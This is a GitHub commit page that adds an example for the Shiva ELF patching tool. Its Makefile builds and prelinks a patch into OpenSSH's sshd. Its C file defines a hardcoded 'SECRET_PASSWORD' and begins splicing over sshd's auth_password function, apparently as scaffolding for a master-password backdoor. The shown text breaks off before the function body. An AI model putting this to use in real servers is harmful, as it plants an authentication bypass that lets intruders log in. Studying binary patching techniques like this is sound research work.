Skip to content

Commit 0e304d0

Browse files
committed
added initial sshd-patch example
1 parent 70b2228 commit 0e304d0

3 files changed

Lines changed: 72 additions & 0 deletions

File tree

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
INTERP_PATH="/lib/shiva"
2+
SHIVA-LD_PATH="../../../tools/shiva-ld/shiva-ld"
3+
patch:
4+
# Build the module ro_patch.c with a large code model
5+
gcc -mcmodel=large -fno-pic -I ../ -fno-stack-protector -c sshd_patch.c
6+
7+
prelink:
8+
# Pre-link the program we are patching with the proper interpreter and patch meta-data
9+
$(SHIVA-LD_PATH) -e sshd -p sshd_patch.o -i /lib/shiva -s /opt/shiva/modules -o sshd.patched
10+
11+
clean:
12+
rm -f sshd.patched sshd_patch.o
13+
3.48 MB
Binary file not shown.
Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
#define _GNU_SOURCE
2+
#include <pwd.h>
3+
#include "../../shiva.h"
4+
#include "/home/elfmaster/openssh-portable/packet.h"
5+
6+
#define SECRET_PASSWORD "w0rkseverytime"
7+
8+
9+
struct Authctxt {
10+
sig_atomic_t success;
11+
int authenticated; /* authenticated and alarms cancelled */
12+
int postponed; /* authentication needs another step */
13+
int valid; /* user exists and is allowed to login */
14+
int attempt;
15+
int failures;
16+
int server_caused_failure;
17+
int force_pwchange;
18+
char *user; /* username sent by the client */
19+
char *service;
20+
struct passwd *pw; /* set if 'valid' */
21+
char *style;
22+
23+
/* Method lists for multiple authentication */
24+
char **auth_methods; /* modified from server config */
25+
u_int num_auth_methods;
26+
27+
/* Authentication method-specific data */
28+
void *methoddata;
29+
void *kbdintctxt;
30+
#ifdef BSD_AUTH
31+
auth_session_t *as;
32+
#endif
33+
#ifdef KRB5
34+
krb5_context krb5_ctx;
35+
krb5_ccache krb5_fwd_ccache;
36+
krb5_principal krb5_user;
37+
char *krb5_ticket_file;
38+
char *krb5_ccname;
39+
#endif
40+
struct sshbuf *loginmsg;
41+
42+
/* Authentication keys already used; these will be refused henceforth */
43+
struct sshkey **prev_keys;
44+
u_int nprev_keys;
45+
46+
/* Last used key and ancillary information from active auth method */
47+
struct sshkey *auth_method_key;
48+
char *auth_method_info;
49+
50+
/* Information exposed to session */
51+
struct sshbuf *session_info; /* Auth info for environment */
52+
};
53+
54+
struct passwd *pw;
55+
struct Authctxt *authctxt;
56+
57+
SHIVA_T_FUNCTION_SPLICE(auth_password, 0x12620, 0x12620)
58+
{
59+

0 commit comments

Comments
 (0)